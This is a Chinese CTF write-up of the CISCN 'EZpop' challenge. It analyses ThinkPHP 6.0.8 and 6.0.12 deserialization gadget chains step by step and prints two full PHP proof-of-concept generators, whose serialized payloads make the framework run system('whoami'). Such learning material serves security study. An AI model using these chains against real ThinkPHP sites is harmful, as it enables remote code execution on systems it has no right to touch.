从国赛EZpop到tp6.0.x反序列化漏洞
本篇文章关于thinkphp6.08和6.0.12两个版本的反序列化进行分析,因为在新版中,修复了本来在6.08版本中可以利用的链路,不过在6.0.12版本中也是挖掘到了新的利用链,谨以本篇文章来学习一下。
本篇文章涉及15届ciscn的web中的EZpop,但不仅限于这道题,会讲解一些反序列化的知识,作为一个学习的过程,本人也没有系统的学习反序列化漏洞,如有错误烦请各位师傅指正。
前言
国赛:每次参加这种比赛总有一种为什么自己这么菜的感慨,狠铁不成刚。。。
前几天的15届ciscn大赛,遇到了tp6的反序列化漏洞,虽然用了网上公开的poc打出来了,但是毕竟不是自己理解出来的,本篇文章就来从国赛EZpop来研究和学习tp6的反序列化漏洞。
两个版本区别
__destruct链触发走的路一样
__toString链最终利用点不同
关于php魔术函数的知识大家可以自己去百度学习,我就从这道题来讲起,直接进入app/controller/Index.php
这个就是出现的主界面的文件,搜索默认界面文字能定位到这个文件,看到unserialize()这个函数,这个函数就不用我多说了,php中常见的序列化函数
我们都知道php的反序列化攻击都是通过魔法函数来进行攻击,php自动调用的函数,在自动调用时,便会触发魔术方法,如果魔术方法里面存在一些恶意代码,就有机会实施反序列化攻击,例如__destruct,也是本题用到的方法:
__destruct是对象被销毁的时候进行调用,因为php在程序块结束时会进行垃圾回收,将对象进行销毁,然后自动触发__destruct的魔术方法。
常见的魔术方法:
当对象被创建时:__construct
当对象被销毁时:__destruct
当对象被当作一个字符串使用时:__toString
序列化对象前调用(其返回值需要是一个数组):__sleep
反序列化恢复对象前调用:__wakeup
当调用对象中不存在的方法时自动调用:__call
从不可访问的属性读取数据:__get
__destruct
那么我们就从源代码找找,有没有能利用的点或者方法,这里已经很明显了,并不需要我们去挖这个反序列化漏洞,网上有现成的给我们参考,定位到vendor/topthink/think-orm/src/Model.php
,利用的是__destruct这个方法
可以看到,如果this->lazySave==True,就会调用了save
方法,那么我们跟进save()
方法,直接在这个Model.php
搜索这个方法,注意是save()
方法,那么我们接下来分别看一眼①和②处的方法
如图①调用
isEmpty()
方法,我们需要绕过①即$this->isEmpty()
为false,$this->trigger('BeforeWrite')
为true,漏洞方法是updateData
看一眼
isEmpty()
方法,这里只要**$this->data为非空**即可。$this->trigger()
方法(位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php
中)**$this->withEvent为false**即可。
那么②处需要满足**$this->exists==true**进入跟进updateDate()
方法,那么来到了checkAllowFields()
方法。
- 这里分出来一个
$this->getChangedData()
方法,可以看到设置 $this-data`为非空,$this->force == true 即可。
回到主线,跟进另一个方法checkAllowFields()
方法,漏洞方法是db
,默认也是进入该方法,继续跟进
跟进db()
方法,来到这一段代码,注意存在$this->table 和 $this->suffix
均可触发__toString
魔术方法,我们只需要把$this->table
设为触发__toString
类即可。
总结一下设置点,前面我加粗的代码部分:
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
关于下方poc中的Pivot类:Model
类是抽象类,不能实例化。所以要想利用,得找出 Model
类的一个子类进行实例化,这里可以用 Pivot
类(位于\vendor\topthink\think-orm\src\model\Pivot.php
中)进行利用
__toString
全局搜索一下__toString()
,最后选择vendor\topthink\think-orm\src\model\concern\Conversion.php
类中的__toString
方法,可以看到①处调用了toJson
方法,上方②处便是该方法,调用toArray
方法然会以json格式返回
继续跟进toArray
方法,对 $data
进行遍历,其中 $key
为 $data
的键。默认情况下,会进入第二个 elseif
语句,从而将 $key
作为参数调用 getAttr()
方法。
那么我们继续跟进getAttr
方法,位置为vendor/topthink/think-orm/src/model/concern/Attribute.php
,进入了getValue
方法,但是传入该方法的$value
是由getData
方法得到的
去
getData
方法看一眼,$this->data
可控,$fieldName
来自getRealFieldName
方法,去该方法看一眼$filename
跟进
getRealFieldName
方法,可以看到默认返回传入的参数,那么$filename
就是可控的,那么自然传入getValue
方法的$value
也是可控的,很显然这里需要$this->convertNameToCamel || !$this->strict == true
,才会返回$name
这里默认是返回,也就是最开始从toArray()
方法中传进来的$key
值。所以getData()
返回的就是$this->data[$key]
,再来看getAttr()
,最后的返回语句getValue()
方法:($value
的值就是$this->data[$key]
);
转头跟进上面传入$value
的getValue
方法。这里经过了一个if判断,需要$this->withAttr
和$this->json
都可控,才能进入getJsonValue
方法,并且在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure
进行判断
V6.0.8
上文①处为Thinkphp6.0.8
的利用位置,比赛时候用了这个poc但是打不出来,就知道这个地方有问题了,6.08版本直接在该处利用即可$closure
为 system
,$this->data
为要执行的命令即可。令 withAttr[$fieldName]="system"
、$this->data="whoami"
,即执行 system('whoami')
;注意 $this->withAttr[$key]
存在且不为数组即可。最后将table 声明为Pivot类的对象,从而将两个POP链串联起来。
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;//将table 声明为Pivot类的对象,从而将两个POP链串联起来。
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
V6.0.12
②处的话在Thinkphp6.0.12
时已经对传入的$closure
进行判断,再一次判断$closure
是否为闭包函数,导致6.0.8的利用链断掉了,无法像6.08版本那样在①处利用
if ($closure instanceof \Closure)
那么新版本去寻找类似的结构是否利用,在555行发现了类似的结构,位于getJsonValue
方法内
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
}
同时该方法它也_toString
链中511行处被调用,只不过旧链我们没有进入它而是进入下面的else语句。这里我们进入510行处的if语句。filename是旧链中this->data[]中的key值。绕过in_array(fieldName, this->json) 在this->json中设置一个值为filename(ps:非键值)。绕过is_array(this->withAttr[fieldName])),this->withAttr[]中键值为fieldName的值为数组。
跟进getJsonValue
方法来进行分析,$value为this->data[filename]的值。而name就是上一个函数的filename,进入循环因为上文绕过了is_array(this->withAttr[fieldName])),所以this->withAttr[fieldName]就是数组的形式,接下来设置this->jsonAssoc为true。所以可以构造this->withAttr为以下形式
private $withAttr = ["key"=>["key1"=>"system"]];
这样$closure就获得了system。看看它的参数value[key],而$value为this->data[filename]的值,所以可以构造this->data为以下形式
private $data = ["key" => ["key1" => "whoami"]];
那么我们写新的poc时只需要去添加一下我们后来分析的利用链即可。
trait Attribute
中
trait Attribute
{
private $data = ["key" => ["key1" => "whoami"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
Medol中添加 protected $jsonAssoc;并设置其值为true。
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;php
}
}
其他条件相同即可,完整poc
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "whoami"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
最后
本篇文章学习了各位师傅的文章来进行分析,感谢各位师傅给我的帮助,如果有任何问题请在本篇评论。